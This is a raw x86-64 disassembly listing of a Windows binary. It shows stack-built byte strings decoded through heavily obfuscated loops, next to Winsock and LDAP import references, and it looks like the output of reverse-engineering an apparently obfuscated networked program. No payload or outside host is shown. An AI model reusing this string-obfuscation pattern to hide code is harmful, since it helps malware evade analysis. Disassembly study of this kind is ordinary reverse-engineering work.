mov byte [rbp + reloc.WS2_32.dll_listen1f], 0xd
mov byte [rbp + 0xd20], 0xfc
mov byte [rbp + 0xd21], Ordinal_50
mov byte [rbp + 0xd22], Ordinal_79
mov byte [rbp + 0xd23], 0xfb
mov byte [rbp + 0xd24], Ordinal_46
mov byte [rbp + 0xd25], 0x54
mov byte [rbp + 0xd26], 0x58
mov byte [rbp + 0xd27], 0x48
mov byte [rbp + 0xd28], Ordinal_79
mov byte [rbp + 0xd29], gethostname
mov byte [rbp + 0xd2a], 0x5d
mov byte [rbp + 0xd2b], Ordinal_79
mov byte [rbp + 0xd2c], 0xf0
mov byte [rbp + 0xd2d], gethostname
mov byte [rbp + 0xd2e], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd2f], xmm0
mov byte [rbp + 0xd3f], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x14010e0e6
movzx r8d, byte [rbp + r9 + 0xcd0]
mov r11, r8
cmp rdi, r9
ja 0x14010e0dd
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010d59f
movabs rcx, 0x32bb86de180626b2
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x22
jmp 0x14010d5d9
je 0x14010e053
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010dfc8
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010df95
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010df70
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010df27
cmp r10, r9
ja 0x14010e0d4
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14010d60a
movabs rcx, 0x29621037f8812c9a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
jmp 0x14010d64b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010df13
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010def3
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010deca
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010dea4
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14010de82
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010dc01
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010dbe0
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010dbbd
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14010db97
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010db76
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010db54
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14010db32
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010db11
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14010daeb
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010dac8
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14010d658
lea rdi, [r10 + 0x41]
lea r10, [rdi + 0x7a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010e0ae
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010e08b
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14010d859
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14010d833
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14010d80d
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14010da6b
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14010d9e7
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14010d9c6
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010d99c
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14010d658
lea rdi, [r10 + 0x40]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14010d976
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14010d962
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14010d940
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14010d91e
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14010d90a
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010d8e8
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x14010d8c6
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010d8a0
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010d87c
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010d658
lea rdi, [r10 + 3]
lea r10, [rdi + 2]
jmp 0x14010d658
movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d64b
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d5d9
movabs rdx, 0xc0e41f1eab3e67de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x12
add bl, dl
jmp 0x14010d568
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010df43
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010df6b
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14010df8d
movabs rcx, 0x1aab588b33e47ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14010de26
movabs rdx, 0xb5344acf03d82f40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010ded9
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14010dfb6
movabs rcx, 0xea462f56a3bf9478
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x14010dfe8
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x14010dafa
movabs rdx, 0x1f5813de43a6f9b0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e074
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
mov byte [rbp + r9 + 0xcd0], bl
jmp 0x14010e083
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010da37
movabs rcx, 0x56c0560f6b6f9d6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
cmp rdi, 6
jae 0x14010de00
lea rax, [r10 + 0x42]
cmp rdi, rax
jbe 0x14010dd5a
movabs rdx, 0x40113323b1f86504
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1c
add bl, dl
cmp r10, 5
jb 0x14010d9b9
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010df45
movabs rcx, 0xf14948533b63500a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
lea rax, [r10 + rdi]
cmp rax, r14
je 0x14010de54
lea rax, [r10 + 0x64]
cmp rdi, rax
jbe 0x14010dcb7
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010da04
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14010e074
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e01c
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010de78
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14010dfb6
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14010deeb
movabs rdx, 0xfcf91ca2e2c988a8
mov ecx, 0x34
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010de21
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010df8d
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14010df6b
movabs rdx, 0xcc93f36e52a4a07c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x14010df43
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14010dc30
movabs rdx, 0x32bb86de180626b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010da88
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010dc5b
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14010e074
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010dc87
movabs rdx, 0xb83b2e2c210ea698
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x14010e01c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010da88
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5c
jmp 0x14010deeb
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010dcd4
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
jmp 0x14010d88b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010dcff
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14010df8d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010dd2a
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14010dfb6
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010da04
movabs rdx, 0xdcf0831109cd5626
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
jmp 0x14010dfe8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010dd89
movabs rdx, 0xa58840dfe204b268
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010e074
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010ddb4
movabs rcx, 0x70765c58421d4d30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14010dfe8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010ddd1
movabs rdx, 0xa0db858cd242355c
mov ecx, 0x3e
jmp 0x14010db85
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010da39
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14010df8d
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0xcd0]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r8b
movabs rcx, 0xceea5117da85df02
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0xe
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0xcd0], r8b
jmp 0x14010deeb
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xcd0]
add bl, dl
add bl, r8b
jmp 0x14010dfe8
movabs rcx, 0xefa3705d48d74a56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x14010dfe8
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010dfb6
movabs rdx, 0x24b554e4e8beaf8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
jmp 0x14010dfb6
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6a
jmp 0x14010df8d
movabs rdx, 0x8ed91df4288d79fe
mov ecx, 7
jmp 0x14010d88b
movabs rdx, 0xc3eb027bc874df36
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
add bl, dl
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x52
add r8b, cl
mov byte [rbp + r9 + 0xcd0], r8b
add r10, r15
jmp 0x14010df8d
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
sub r9, r15
jmp 0x14010e083
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010e083
mov r8, r11
movabs rax, 0x6320b012a82b0ede
add rax, r9
and r11b, al
add r11b, r11b
sub al, r11b
lea ebx, [r8 + rax]
sub bl, 0x12
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xcd0], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xcd0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010e074
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0xcd0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010d555
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x56
jmp 0x14010d552
movabs rdx, 0xf5f603a64b25cd16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010d542
lea rdx, [rbp + 0x1620c68]
jmp 0x14010e0ed
lea rdx, [rbp + 0x168331a]
jmp 0x14010e0ed
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x1060]
call fcn.1400889b0
lea rcx, [rbp + 0x1060]
call fcn.1401aa1b8
mov byte [rbp + 0x1e0], __WSAFDIsSet
mov byte [rbp + 0x1e1], 0x41
mov byte [rbp + 0x1e2], WSACleanup
mov byte [rbp + 0x1e3], 0x76
mov byte [rbp + 0x1e4], 0x46
mov byte [rbp + 0x1e5], 0x68
mov byte [rbp + 0x1e6], 0xb4
mov byte [rbp + 0x1e7], Ordinal_79
mov byte [rbp + 0x1e8], Ordinal_79
mov byte [rbp + 0x1e9], Ordinal_79
mov byte [rbp + 0x1ea], Ordinal_200
xor eax, eax
mov dword [rbp + 0x1eb], eax
mov word [rbp + 0x1ef], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x14010eba2
movzx r8d, byte [rbp + r9 + 0x1e0]
mov r11, r8
cmp rdi, r9
ja 0x14010eb99
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010e1c3
movabs rsi, 0xf4683f0d7d443fe2
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x2e
jmp 0x14010e1fa
je 0x14010eb0c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010ea84
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010ea5b
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010ea11
movabs rsi, 0xf4683f0d7d443fe2
cmp r10, r9
ja 0x14010eb90
lea rax, [r10 + 0x200]
cmp rdi, rax
jae 0x14010e223
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x14010e3ac
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010e9f2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010e9d3
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010e99d
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010e97b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010e959
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010e68b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010e665
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010e643
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010e621
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14010e600
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010e5de
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010e5ca
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x200]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010eb6a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010eb44
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14010e3e9
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010e3c3
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010e39d
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14010e502
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14010e4f1
lea rdi, [r10 + 9]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14010e4ce
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010e4ba
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010e498
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14010e476
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010e450
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14010e42e
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010e40c
lea rdi, [r10 + 4]
lea r10, [rdi + 0xa]
jmp 0x14010e271
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e264
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e1fa
movabs rdx, 0xe2f9401d0efdb02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14010e18b
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14010ea7c
movabs rcx, 0xa9f7e68945306d04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x14010e900
movabs rdx, 0xc127686e4aa7ed40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010e9be
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14010e9c1
movabs rcx, 0xef866c385596edb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14010eaa5
movabs rdx, 0x6b5ee1d5b0e6df4
mov ecx, Ordinal_46
jmp 0x14010e6f4
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14010eb2d
movabs rdx, 0x863b3888f91faf3e
mov ecx, Ordinal_41
jmp 0x14010e54b
movabs rcx, 0x9d6aba6dfe972f7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14010e92f
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x14010e778
movabs rdx, 0x3cd70636d94338da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x64
jae 0x14010e8d7
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x14010e828
movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 0x20
jb 0x14010e8ca
movabs rcx, 0x61891f5fe931740c
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010ea2e
movabs rdx, 0x90dd8e52b7fdf1f0
mov ecx, Ordinal_60
jmp 0x14010e723
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x14010e9be
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010e8fb
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14010ea7c
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14010ea56
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010ea2e
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14010e6ad
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2e
jmp 0x14010e51f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010e6dc
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010eb2d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010e70b
movabs rdx, 0x1ead65187bafad8
mov ecx, recv
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010ead7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010e73a
movabs rdx, 0xd38bd2877ccbfa60
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e9c1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010e757
movabs rdx, 0xbc5c50a277547a24
mov ecx, 2
jmp 0x14010e9ac
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010e51f
movabs rdx, 0x8dfd4cd86c6579ac
mov ecx, Ordinal_41
jmp 0x14010ea6a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010e7a3
movabs rcx, 0x25a78451d3cbb89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x14010ea2e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010e7ce
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14010ea7c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010e7f9
movabs rcx, 0x9a8a78f3b2feb736
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14010eaa5
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010e55d
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14010eb2d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010e853
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14010eb2d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010e87e
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x14010e9c1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010e89b
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010e9ac
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010e598
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14010ea7c
mov byte [rbp + r9 + 0x1e0], bl
jmp 0x14010eb3c
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x1e0]
add bl, dl
add bl, r8b
movabs rcx, 0x3ec1dc8860fe33b2
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, bl
mov byte [rbp + r9 + 0x1e0], dl
jmp 0x14010e9be
movabs rcx, 0x332a1b95de427394
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x1e0]
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14010eaa5
